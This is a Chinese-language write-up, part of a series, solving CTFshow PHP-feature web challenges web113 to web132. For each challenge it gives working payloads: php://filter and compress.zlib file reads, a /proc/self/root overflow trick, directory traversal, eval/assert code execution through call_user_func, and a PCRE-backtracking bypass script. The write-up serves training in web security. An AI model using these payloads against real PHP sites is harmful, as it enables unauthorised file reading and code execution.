·Ctfshow web入门 PHP特性篇 web89-web151 全(一):https://developer.aliyun.com/article/1585247
CTFshow PHP web113
这次限制了filter伪协议
压缩流payload可以继续用
?file=compress.zlib://flag.php
新知识点:目录溢出导致is_file认为这不是一个文件。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
引用一下佬的博客:
linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录。
CTFshow PHP web114
加了对compress 、root、 zip的过滤,之前的payload都用不了了。
但是,对filter的过滤却不见了。
payload:
?file=php://filter/resource=flag.php
CTFshow PHP web115
让我们GET传参一个num,满足is_numeric(num)andnum) and num!=='36' and trim(num)!==′36′andfilter(num)!=='36' and filter(num)=='36') 与$num=='36',注意,这里是字符串’36’。
trim():去除字符串首尾处的空白字符(或者其他字符)
自定义函数filter():把num中0x、0、e、.、+字符都换成数字1。
网上有一个FUZZ脚本:
<?php for($i = 0; $i<129; $i++){ $num=chr($i).'36'; if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){ echo urlencode(chr($i))."\n"; } } ?>
一共有五个条件,脚本fuzz了三个,跑出来的字符是:
%0C、%2B、-、.、0、1、2、3、4、5、6、7、8、9
还剩两个条件是filter(num)==′36′和num)=='36' 和num=='36'
跑出来的字符中,-、0、1、2、3、4、5、6、7、8、9直接就导致了num不满足$num==‘36’
跑出来的字符中,%2B(+的url编码)和 . 会被filter函数识别换成1,num变成136,不满足$num==‘36’
payload:
?num=%0C36
正常思路是去找函数绕过。
is_numeric():
php中is_numeric函数的绕过_is_numeric绕过_T0mrvvi1b3t的博客-CSDN博客
利用数组+十六进制来进行绕过;在前后加%00或在后加%20(空格);类型转换绕过:is_numeric(999a)是false。
所以我们可以选择在前面加%20,is_numeric()不会被绕过,任然判断为true。
trim()不会移除%0c
加上%0c换页符,是%0c36,这个东西类型转换时会被转换为数值36。%0c36在==进行类型转换,结果true;在!==不进行类型转换,所以字符串和数值比较,类型不同,结果true。
payload:
?num=%0C36
CTFshow PHP web123
考点:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。
这里CTF[SHOW.COM=>CTF_SHOW.COM
要求CTF_SHOW、CTF_SHOW.COM必须传参,fl0g不能传参。所以$fl0g==="flag_give_me"条件不能满足,可以利用上面的eval。
payload:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
问题来了,题中有一段代码是a=a=_SERVER['argv'];,这个argv是个什么呢?
第一次遇到它的时候是pear文件包含,argv这个东西涉及到了pear文件包含的原理。
argv是数组,argc是数字。 可通过var_dump($_SERVER);和var_dump($argv);语句查看 argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元素 是aaa和bbb。argc是数组的长度。 php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
这个argv还分两种模式,web和cli
web网页模式下 在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’] //$_SERVER[‘argv’][0]就是a[0] $argv,$argc在web模式下不适用
cli模式(命令行)下 第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。 当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3 以上示例的输出类似于: array(4) { [0]=> string(10) "script.php" [1]=> string(4) "arg1" [2]=> string(4) "arg2" [3]=> string(4) "arg3" }
我们是在网页模式下的,注意重点:
SERVER[‘argv′][0]=_SERVER[‘argv’][0] = _SERVER[‘QUERY_STRING’]
而 $_SERVER[‘QUERY_STRING’] 是获取查询语句,也就是?后面的语句
举个例子:
如果 ?$fl0g=flag_give_me $_SERVER['argv'][0]=$a[0] =$_SERVER[‘QUERY_STRING’]就是$fl0g=flag_give_me
利用SERVER[′argv′][0]就可以绕过对isset(_SERVER['argv'][0] 就可以绕过对isset(fl0g)的判断。用+代表空格。
payload:
get: ?$fl0g=flag_give_me; post: CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0]) //从而满足之后的判断语句 //if($fl0g==="flag_give_me"){ // echo $flag; //}
和
get: ?a=1=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) //需要用burp发包
CTFshow PHP web125
这次过滤了echo,长度限制也变短了
之前的payload满足条件的还剩
get: ?$fl0g=flag_give_me; post: CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
和
get: ?a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) //需要用burp发包
我们还可以用highlight_file构造一个新的payload:
get: ?1=flag.php post: CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1]) //不懂c怎么小于16的
CTFshow PHP web126
多过滤了字母g i f c o d
那么highlight_file不能用了,各种输出函数不能使用了,所以不能直接通过eval("c".";");来实现输出flag了,需要考虑用满足fl0g的条件来echoc".";");来实现输出flag了,需要考虑用满足fl0g的条件来echo flag。
之前的payload还剩下能用的:
?a=1+fl0g=flag_give_me //GET CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) //POST //需要用burp发包
?$fl0g=flag_give_me; //GET CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0]) //POST
当然,eval也能用assert代替。
(突然回忆到蚁剑的转接头,有时候eval用不了也是能用assert的)
assert的语法要求没eval那么严格,相比上一个payload,$fl0g=flag_give_me少一个分号也没啥事。
?$fl0g=flag_give_me //GET CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0]) //POST
别的师傅对assert的详细解释:
assert() 断言: PHP 5 bool assert ( mixed $assertion [, string $description ] ) PHP 7 bool assert ( mixed $assertion [, Throwable $exception ] ) 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行 可见,eval和assert都可以将字符当作代码执行。
CTFshow PHP web127
注释都告诉我们了有waf。
SERVER[′QUERYSTRING′];":web123提到过_SERVER['QUERY_STRING'];":web123提到过_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’],在题目,就是web模式下,这个和GET传参有关
extract:从数组中将变量导入到当前的符号表
回归题目
浏览所有代码,我们能获取flag的路径只有
if($ctf_show==='ilove36d'){ echo $flag; }
所以我们的目标是使$ctf_show==='ilove36d' 。
很容易想到GET传参?ctf_show=ilove36d 。
然后 extract()函数把我们的传参导入到当前的符号表使$ctf_show==='ilove36d'
但是有一个问题,自定义函数waf()会对url也就是url也就是_SERVER['QUERY_STRING']也就是我们的GET传参进行正则匹配过滤,ctf_show中_会被过滤使程序直接die出。
回归web123,可以自动转成下划线又不在waf里面的,就只有空格。
我们GET传参?ctf show=ilove36d就行了
CTFshow PHP web128
让我来看看你有多骚~
直接给了源码。
题目的正则要求f1不存在字母数字,v2无限制。
call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
var_dump:打印变量的相关信息
扩展
gettext():_()是gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数
get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。
所以可构造playload:
?f1=_&f2=get_defined_vars
var_dump(call_user_func(call_user_func($f1,$f2))); => var_dump(call_user_func(call_user_func(_,'get_defined_vars'))); => var_dump(call_user_func(get_defined_vars));
确实够骚的。
CTFshow PHP web129
stripos:查找字符串首次出现的位置
readfile: 输出文件
考点:目录穿越
题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取
GET传参: //查看源码 ?f=php://filter/|ctfshow/resource=flag.php ?f=/ctfshow/../../../../../../../var/www/html/flag.php ?f=./ctfshow/../flag.php //直接回显base64 ?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
CTFshow PHP web130
题目描述:very very very(省略25万个very)ctfshow
分析代码:
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); }
要求我们传入的字符串不包含"ctfshow" (preg_match判断)
if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); }
要求我们传入的字符串包含"ctfshow" (stripos判断)
方法一:
preg_match不识别数组,否则返回false
采用数组绕过的方法,stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数
f[]=1
方法二:
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复。
所以在ctfshow前面必须有至少一个字符,才会返回true
所以直接构造playload:f=ctfshow,即可绕过preg_match函数
同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)
f=ctfshow
方法三:
溢出回溯限制,这个知识点在2023年安洵杯第一题刚刚遇到过。
PHP利用PCRE回溯次数限制绕过某些安全限制
引用一下小元砸师傅的博客
PHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种 贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。 非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生。
利用脚本:
import requests url="xxxxxxxxxxxxxxx" data={ 'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data) print(r.text)
执行后,因为超出了preg_match的回溯次数,报错返回false,达到绕过的效果,
同时因为POST传入的f中有ctfshow,第二个判断也被绕过,输出flag。
方法四:
f=ctfshow[]
【原理存疑】
CTFshow PHP web131
和web130差不多,但是由于改了stripos()的匹配内容,之前的方法二用不了了
因为f=(String)f = (String)_POST['f'];对$F进行了强制类型转换,所以之前的方法一、四也用不了了。只剩下方法三——溢出回溯限制
跑一下利用脚本
CTFshow PHP web132
题目描述:为什么会这样?
话不多说,直接开始信息搜集
先dirsearch扫一下。
访问/admin/index.php路由得到源码
分析一下代码:
mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快
&&和||优先级问题||优先级低于&&。if(code === mt_rand(1,0x36D) &&code === mt_rand(1,0x36D) && password === flag||flag || username ==="admin")可看作if((code === mt_rand(1,0x36D) &&code === mt_rand(1,0x36D) && password === flag)||flag )|| username ==="admin")
所以只需要满足后者就行:$username ==="admin"
同时满足下一个if:$code == 'admin'
payload:
?username=admin&code=admin&password=6666666
其实第一个$code === mt_rand(1,0x36D)为false,之后就执行||后面的内容,跳过了对password的判断,这叫做"短路"
Ctfshow web入门 PHP特性篇 web89-web151 全(三):https://developer.aliyun.com/article/1585328